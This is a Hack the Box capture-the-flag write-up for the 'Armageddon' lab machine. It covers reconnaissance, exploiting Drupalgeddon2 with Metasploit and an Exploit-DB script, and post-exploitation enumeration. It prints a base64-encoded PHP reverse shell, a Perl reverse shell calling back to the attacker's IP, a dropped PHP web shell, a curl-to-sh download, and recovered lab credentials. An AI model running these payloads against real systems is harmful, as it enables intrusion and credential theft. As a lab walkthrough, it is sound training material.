Hack the Box - Armageddon

Contents

Overview

This box involved exploiting a CVE in Drupal, a CMS, on a Wordpress site. From there you could get a (very temperamental) shell, and find a MySQL password in a config file. This lets us dump hashes from the database and switch to the bruceistherealadmin user, who can run snap install as root. This leads us to the ‘Dirty Sock’ snap exploit, which gives us a shell as a new user with root-equivalent permissions.

The initial exploit for the box wasn’t difficult to find, and the first privesc was just a case of finding the right config file. But I really enjoyed the privesc to root - reading up on how the CVE works was extremely interesting, and getting it to work was challenging enough without being frustrating.

Ratings

I rated user a 3 difficulty, as it took me a lot of fumbling around and there were some frustrating aspects of the foothold shell interactivity that made things hard, but the steps were overall very simple.

I rated root a 3 also, as it wasn’t too hard to identify and recreate the exploit. It wasn’t as simple as just running dirty sock, but it was very easy to take their payload and reuse it. Creating your own snap was an extra layer of difficulty, but not necessary for the root.

Matrix:

You’d like to think this isn’t very real life-applicable, as many of the CVEs are quite old; however, we know that people don’t patch their stuff…

Loot

User Password Service
drupaluser CQHEy@9M*m23gBVj MySQL
brucetherealadmin booboo Drupal Login/Linux User

Enumeration

Autorecon

I started off with an autorecon scan:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ autorecon 10.10.10.233
[*] Scanning target 10.10.10.233
[*] Running service detection nmap-full-tcp on 10.10.10.233
[*] Running service detection nmap-top-20-udp on 10.10.10.233
[*] Running service detection nmap-quick on 10.10.10.233
[!] Service detection nmap-top-20-udp on 10.10.10.233 returned non-zero exit code: 1
[*] Service detection nmap-quick on 10.10.10.233 finished successfully in 42 seconds
[*] Found ssh on tcp/22 on target 10.10.10.233
[*] Found http on tcp/80 on target 10.10.10.233
[*] Running task tcp/22/sslscan on 10.10.10.233
[*] Running task tcp/22/nmap-ssh on 10.10.10.233
[*] Running task tcp/80/sslscan on 10.10.10.233
[*] Running task tcp/80/nmap-http on 10.10.10.233
[*] Running task tcp/80/curl-index on 10.10.10.233
[*] Running task tcp/80/curl-robots on 10.10.10.233
[*] Running task tcp/80/wkhtmltoimage on 10.10.10.233
[*] Running task tcp/80/whatweb on 10.10.10.233
[*] Running task tcp/80/nikto on 10.10.10.233
[*] Task tcp/22/sslscan on 10.10.10.233 finished successfully in less than a second
[*] Task tcp/80/sslscan on 10.10.10.233 finished successfully in less than a second
[*] Running task tcp/80/gobuster on 10.10.10.233
[*] Task tcp/80/curl-robots on 10.10.10.233 finished successfully in 1 second
[*] Task tcp/80/curl-index on 10.10.10.233 finished successfully in 2 seconds
[!] Task tcp/80/gobuster on 10.10.10.233 returned non-zero exit code: 1
[*] [10:12:57] - There are 6 tasks still running on 10.10.10.233
[*] Task tcp/22/nmap-ssh on 10.10.10.233 finished successfully in 19 seconds
[*] Task tcp/80/wkhtmltoimage on 10.10.10.233 finished successfully in 30 seconds
[*] Task tcp/80/whatweb on 10.10.10.233 finished successfully in 51 seconds
[*] [10:13:58] - There are 3 tasks still running on 10.10.10.233
[*] Task tcp/80/nmap-http on 10.10.10.233 finished successfully in 1 minute, 26 seconds
[*] [10:14:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:15:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:16:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:17:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:18:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:19:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:20:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:21:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:22:58] - There are 2 tasks still running on 10.10.10.233
[*] [10:23:58] - There are 2 tasks still running on 10.10.10.233
[*] Service detection nmap-full-tcp on 10.10.10.233 finished successfully in 12 minutes, 25 seconds
[*] [10:24:58] - There is 1 task still running on 10.10.10.233
[*] [10:25:58] - There is 1 task still running on 10.10.10.233
[*] [10:26:58] - There is 1 task still running on 10.10.10.233
[*] [10:27:58] - There is 1 task still running on 10.10.10.233
[*] [10:28:58] - There is 1 task still running on 10.10.10.233
[*] [10:29:58] - There is 1 task still running on 10.10.10.233
[*] [10:30:58] - There is 1 task still running on 10.10.10.233
[*] [10:31:58] - There is 1 task still running on 10.10.10.233
[*] [10:32:58] - There is 1 task still running on 10.10.10.233
[*] [10:33:58] - There is 1 task still running on 10.10.10.233
[*] Task tcp/80/nikto on 10.10.10.233 finished successfully in 21 minutes, 50 seconds
[*] Finished scanning target 10.10.10.233 in 22 minutes, 32 seconds
[*] Finished scanning all targets in 22 minutes, 38 seconds!

A couple of the scans failed (annoyingly, one of them was Gobuster) but we can re-run them manually.

It pretty quickly found a website and SSH. Let’s review the results from the nmap scan.

Nmap

The UDP scan failed, but the regular scan worked.

I picked up a tip on reddit to start a web server in the autorecon results directory, to be able to easily view the scan outputs in a browser. To do so, run the following commands:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ cd results/10.10.10.233/
┌──(mac㉿kali)-[~/Documents/HTB/armageddon/results/10.10.10.233]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

You can then visit http://localhost:8000/scans/_quick_tcp_nmap.txt to see the quick nmap scan:

# Nmap 7.91 scan initiated Tue Mar 30 10:11:58 2021 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/mac/Documents/HTB/armageddon/results/10.10.10.233/scans/_quick_tcp_nmap.txt -oX /home/mac/Documents/HTB/armageddon/results/10.10.10.233/scans/xml/_quick_tcp_nmap.xml 10.10.10.233
Nmap scan report for 10.10.10.233
Host is up, received user-set (0.13s latency).
Scanned at 2021-03-30 10:12:03 BST for 35s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC2xdFP3J4cpINVArODYtbhv+uQNECQHDkzTeWL+4aLgKcJuIoA8dQdVuP2UaLUJ0XtbyuabPEBzJl3IHg3vztFZ8UEcS94KuWP09ghv6fhc7JbFYONVJTYLiEPD8nrS/V2EPEQJ2ubNXcZAR76X9SZqt11JTyQH/s6tPH+m3m/84NUU8PNb/dyhrFpCUmZzzJQ1zCDStLXJnCAOE7EfW2wNm1CBPCXn1wNvO3SKwokCm4GoMKHSM9rNb9FjGLIY0nq+8mt7RTJZ+WLdHsje3AkBk1yooGFF+0TdOj42YK2OtAKDQBWnBm1nqLQsmm/Va9T2bPYLLK5aUd4/578u7h
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE4kP4gQ5Th3eu3vz/kPWwlUCm+6BSM6M3Y43IuYVo3ppmJG+wKiabo/gVYLOwzG7js497Vr7eGIgsjUtbIGUrY=
|   256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9ZlC3EA13xZbzvvdjZRWhnu9clFOUe7irG8kT0oR4A
80/tcp open  http    syn-ack Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries 
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php 
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/ 
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/ 
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/ 
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 30 10:12:38 2021 -- 1 IP address (1 host up) scanned in 40.68 seconds

This shows we have port 22 and 80 open, suggesting SSH and a webserver.

It’s good practice to come back to the full nmap scan (http://localhost:8000/scans/_full_tcp_nmap.txt) once it’s finished, although it usually takes a little longer. In this case, it didn’t find anything that wasn’t found in the quick scan.

The scan reveals a number of interesting entries in /robots.txt, including xmlrpc.php which stands out immediately - this is a vulnerable feature of some Wordpress blogs.

It also reveals Drupal to be running on the server, which is a popular CMS.

Gobuster

Gobuster failed to run during autorecon, so we can re-run it:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon/results/10.10.10.233]
└─$ gobuster dir -u http://10.10.10.233 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.233
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/03/30 10:45:29 Starting gobuster in directory enumeration mode
===============================================================
/modules              (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/.html                (Status: 403) [Size: 207]                                   
/includes             (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
/themes               (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]  
/scripts              (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/] 
/misc                 (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]    
/.htm                 (Status: 403) [Size: 206]                                    
/profiles             (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/sites                (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]   
/.htaccess            (Status: 403) [Size: 211]                                    
/.htc                 (Status: 403) [Size: 206]                                    
/.html_var_DE         (Status: 403) [Size: 214]                                    
/.htpasswd            (Status: 403) [Size: 211]                                    
/.html.               (Status: 403) [Size: 208]                                    
/.html.html           (Status: 403) [Size: 212]                                    
/.htpasswds           (Status: 403) [Size: 212]                                    
/.htm.                (Status: 403) [Size: 207]                                    
/.htmll               (Status: 403) [Size: 208]                                    
/.html.old            (Status: 403) [Size: 211]                                    
/.html.bak            (Status: 403) [Size: 211]                                    
/.ht                  (Status: 403) [Size: 205]                                    
/.htm.htm             (Status: 403) [Size: 210]                                    
/.gitignore           (Status: 200) [Size: 174]                                    
/.hta                 (Status: 403) [Size: 206]                                    
/.htgroup             (Status: 403) [Size: 210]                                    
/.html1               (Status: 403) [Size: 208]                                    
/.html.LCK            (Status: 403) [Size: 211]                                    
/.html.printable      (Status: 403) [Size: 217]                                    
/.htm.LCK             (Status: 403) [Size: 210]                                    
/.htaccess.bak        (Status: 403) [Size: 215]                                    
/.html.php            (Status: 403) [Size: 211]                                    
/.htx                 (Status: 403) [Size: 206]                                    
/.htmls               (Status: 403) [Size: 208]                                    
/.htm2                (Status: 403) [Size: 207]                                    
/.htlm                (Status: 403) [Size: 207]                                    
/.htuser              (Status: 403) [Size: 209]                                    
/.html-               (Status: 403) [Size: 208]                                    
                                                                                   
===============================================================
2021/03/30 10:53:15 Finished
===============================================================

It found a few Wordpress-related directories, but nothing that immediately stands out.

Website

Login Form

Visiting the homepage presents us with a login screen:

There is a ‘powered by’ string in the footer, but no obvious version number. The software listed is Arnageddon, a slight variation on spelling that is easy to miss. On previous boxes like Doctor this one letter off has been relevant, but after a quick check on searchsploit to see if there are any documented vulnerabilities it seems it was just a misspelling:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ searchsploit arnageddon
Exploits: No Results
Shellcodes: No Results

A quick check of the source confirms that Drupal 7 is used:

I’ll come back to this, but do some manual poking of the site first.

It seems we can register for an account. Let’s do this, passing the request through Burp.

There don’t seem to be any useful hidden fields that could be edited to give us extra permissions.

We get this message when we submit. If we had submitted a password when we created the account then I might attempt logging in despite the account needing approval, but it looks like we are stuck for now.

I tried some basic SQL Injections on the login form, submitting ' OR 1=1;-- in the username and password fields. I also tried the polyglot SLEEP(1) /*’ or SLEEP(1) or’” or SLEEP(1) or “*/ from this article. However, it did not trigger any errors.

Drupal Directory Listing

I wasn’t sure where to go from here, so started to look at the results from the Gobuster scan.

Being unfamiliar with Drupal, I decided to start with /profiles in case it had any details of usernames registered on the platform. This revealed a directory listing:

Lots of these files are from 2017, which suggests the version of Drupal that is running is an old version. Running searchploit drupal reveals many results concerning Drupal 7. Let’s see if we can use one to get a shell.

Shell as Apache

Running searchsploit -x php/webapps/18564.txt reveals the following exploit for creating an administrator account:

Copying this into a makeadmin.html file and modifying the IP address produces the following result:

The necessary page is not present on this server, so the exploit will not work.

Drupalgeddon

The module php/remote/44482.rb seems more appropriate, and is titled ‘Drupalgeddon’ which suggests a link to the box. Let’s try it with metasploit:

┌──(mac㉿kali)-[~]
└─$ msfconsole

...[snip]...

msf6 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
...[snip]...

   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection

...[snip]...

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2

This was one of the simpler metasploit setups I’ve ever done, and I only had to set RHOSTS, LHOST, and change the payload (I’m not a fan of meterpreter and am far more comfortable with a standard bash terminal when I can get one):

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.10.233
RHOSTS => 10.10.10.233
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.14.108
LHOST => 10.10.14.108
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.108:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Command shell session 2 opened (10.10.14.108:4444 -> 10.10.10.233:48294) at 2021-04-01 16:05:58 +0100

id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

We’ve got a shell!

Enumeration

The first thing I tried was upgrading my shell. The standard Python method did not work, and backgrounding the shell doesn’t seem to work within metasploit, so I carried on as I was.

There was little immediately interesting in the landing /var/www/html directory, so I did a search for files accessible by users in the apache group instead:

find / -group apache 2>/dev/null

...[omitting /proc and /var/www/html files]...

/usr/sbin/suexec

/usr/sbin/suexec stood out as an unusual file. Let’s see what it is:

ls -la /usr/sbin/suexec
-r-x--x---. 1 root apache 15368 Nov 16 16:19 /usr/sbin/suexec

file /usr/sbin/suexec
/usr/sbin/suexec: executable, regular file, no read permission

I did a bit of playing around with trying to pass it some commands and execute as another user, but it turned out to be just a standard unix binary.

/etc/passwd

We can view the other users on the box - the only one with a proper shell is brucetherealadmin:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

There’s nothing readable in Bruce’s home directory, so we’ll move on for now.

Process Enumeration

ss -lntp:

ss -lntp
State      Recv-Q Send-Q Local Address:Port               Peer Address:Port              
LISTEN     0      0      127.0.0.1:3306                     *:*                  
LISTEN     0      0            *:22                       *:*                  
LISTEN     0      0      127.0.0.1:25                       *:*                  
LISTEN     0      0         [::]:80                    [::]:*                  
LISTEN     0      0         [::]:22                    [::]:*                  
LISTEN     0      0        [::1]:25                    [::]:*   

ps aux:

ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       969  0.0  0.3 450272 15500 ?        Ss   12:37   0:01 /usr/sbin/httpd -DFOREGROUND
apache    1068  0.0  0.6 463124 24548 ?        S    12:37   0:00 /usr/sbin/httpd -DFOREGROUND
apache    2671  0.0  0.3 265192 13476 ?        S    13:02   0:02 php -r eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE0LjE2MCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
apache    2673  0.0  0.0  11692  1376 ?        S    13:02   0:00 /bin/sh
apache    2731  0.0  0.0  11824  1756 ?        S    13:05   0:00 bash -i
apache    5859  0.5  0.6 463880 25764 ?        S    14:50   0:54 /usr/sbin/httpd -DFOREGROUND
apache   12422  0.0  0.1  35008  4128 ?        S    16:16   0:00 perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.108:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
apache   12910  0.0  0.0  11688  1136 ?        S    16:23   0:00 bash
apache   12913  0.0  0.0  11692  1380 ?        S    16:23   0:00 /usr/bin/bash
apache   14739  0.1  0.6 463780 25416 ?        S    16:51   0:05 /usr/sbin/httpd -DFOREGROUND
apache   14742  0.1  0.6 463268 24864 ?        S    16:51   0:04 /usr/sbin/httpd -DFOREGROUND
apache   15282  0.0  0.6 463788 25524 ?        S    16:55   0:02 /usr/sbin/httpd -DFOREGROUND
apache   15653  0.0  0.6 463044 24604 ?        S    16:58   0:01 /usr/sbin/httpd -DFOREGROUND
apache   15655  0.0  0.6 463040 24676 ?        S    16:58   0:01 /usr/sbin/httpd -DFOREGROUND
apache   15657  0.0  0.6 463524 25140 ?        S    16:58   0:02 /usr/sbin/httpd -DFOREGROUND
apache   15658  0.0  0.6 463780 25284 ?        S    16:58   0:01 /usr/sbin/httpd -DFOREGROUND
apache   15696  0.0  0.6 463780 25504 ?        S    16:59   0:01 /usr/sbin/httpd -DFOREGROUND
apache   17122  0.0  0.6 463532 25560 ?        S    17:18   0:01 /usr/sbin/httpd -DFOREGROUND
apache   17235  0.0  0.6 463668 25432 ?        S    17:20   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17236  0.0  0.6 463048 24512 ?        S    17:20   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17686  0.1  0.6 463012 24624 ?        S    17:24   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17918  0.0  0.6 463524 25080 ?        S    17:26   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17984  0.0  0.6 462564 24224 ?        S    17:27   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17986  0.0  0.2 450408  9548 ?        S    17:27   0:00 /usr/sbin/httpd -DFOREGROUND
apache   17987  0.0  0.6 462564 24136 ?        S    17:27   0:00 /usr/sbin/httpd -DFOREGROUND
apache   18579  0.0  0.2 450408  8700 ?        S    17:35   0:00 /usr/sbin/httpd -DFOREGROUND
apache   18580  0.0  0.2 450408  8944 ?        S    17:35   0:00 /usr/sbin/httpd -DFOREGROUND
apache   18962  0.0  0.0  51732  1704 ?        R    17:38   0:00 ps aux

netstat yielded similar results. There were no useful-looking processes running as root, but there were two ports listening locally (3306 for MySQL, and port 25 which turned out to be postfix for sending emails).

Postfix turned out not to be exploitable, so let’s dig around in home for a MySQL password.

mysql

I started looking for creds in /var/www/html. There is an INSTALL.mysql.txt file which describes the mysql setup. At this point I wanted to try some default creds, but my uninteractive shell was failing to launch mysql so tried looking for another exploit to get a better shell.

I ran another searchsploit and tried to look for a PoC that wasn’t metasploit based. The Drupal exploit seemed fairly simple, so I was confident that if I couldn’t find one I could try and replicate it myself. Luckily, there was a prewritten one that worked:

$ searchsploit -x php/webapps/44449.py

...[looks good - previous ones had broken PoC code]...
...[check the usage function for how to run it]...

$ searchsploit -m php/webapps/44449.py
  Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/44449
     Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
File Type: Ruby script, ASCII text, with CRLF line terminators

Copied to: /home/mac/Documents/HTB/armageddon/44449.rb

$ ruby 44449.rb 10.10.10.233
ruby: warning: shebang line ending with \r may cause problems
Traceback (most recent call last):
	2: from 44449.rb:16:in `<main>'
	1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require'
/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require': cannot load such file -- highline/import (LoadError)

I had a missing dependency, so I grepped for anything that is required so I could install them all at once:

$ cat 44449.rb 10.10.10.233 | grep require

highline\require was the last one in the list, so I ran gem search highline to check the name and sudo gem install highline, then re-ran the exploit:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ ruby 44449.rb 10.10.10.233
ruby: warning: shebang line ending with \r may cause problems
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo YKLHNMTR
[+] Result : YKLHNMTR
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Much better! I can now actually test mysql login credentials:

armageddon.htb>> mysql -u root -p
Enter password: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)

Unfortunately guessing creds didn’t work, so I needed to find some.

Unfortunately this shell seems not to be able to handle the > character, which makes using the find command harder. Instead of redirecting stderr, we can use find / -group apache | grep -v denied to filter out errors.

We can check for SUID files, but there is nothing out of the ordinary:

armageddon.htb>> find / -perm /4000 | grep -v denied
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/chage
/usr/bin/su
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

I started searching for some default credentials. drupal:drupal is apparently the default set for drupal. However, the password prompt seems to immediately error out:

armageddon.htb>> mysql -u drupal -p 
Enter password: ERROR 1045 (28000): Access denied for user 'drupal'@'localhost' (using password: NO)

I am not sure if this is a problem with my shell, or the way the box is configured. Looking at the forum people suggested a similar problem, and were given hints to look at another service on the box. I looked for postgres and sqlite binaries too, but didn’t find any. So I had a go at downloading linpeas after being unable to find creds manually.

Linpeas

I started a webserver on my local machine with python3 -m http.server, and tried to download linpeas. Annoyingly, we don’t seem to be able to change directory with this shell either…

armageddon.htb>> cd /tmp

armageddon.htb>> pwd
/var/www/html
armageddon.htb>> cd ~

armageddon.htb>> pwd
/var/www/html

Let’s try and download the file to the CWD rather than /tmp (as we cannot even redirect it with >)

armageddon.htb>> wget 10.10.14.53:8000/linpeas.sh 
sh: wget: command not found
armageddon.htb>> curl 10.10.14.53:8000/linpeas.sh
curl: (7) Failed to connect to 10.10.14.53: Permission denied
armageddon.htb>> curl 8.8.8.8
^C[-] The target timed out ~ Net::ReadTimeout with #<TCPSocket:(closed)>

Uh oh - that didn’t work very well. Perhaps there is a firewall setting on HTB boxes meaning it can’t communicate outside of the VPN.

Either way, curl localhost works but I cannot hit my box to download linpeas. There may be a firewall setting preventing less well-known ports - I tried again with port 80.

On host machine:

┌──(mac㉿kali)-[~/Documents/enum]
└─$ sudo python3 -m http.server 80

On the box:

armageddon.htb>> curl 10.10.14.53:80/linpeas.sh | sh

It worked!

Linpeas Highlights

Potential password:

[+] Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside key folders (limit 70) - only PHP files
...[snip]...
/var/www/html/sites/default/settings.php:      'password' => 'CQHEy@9M*m23gBVj',

Potential interesting backup file:

[+] Backup files
-rw-r--r--. 1 root root 1735 Oct 30  2018 /etc/nsswitch.conf.bak

Active ports:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -  

Potentially interesting process:

================================( Processes, Cron, Services, Timers & Sockets )================================
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
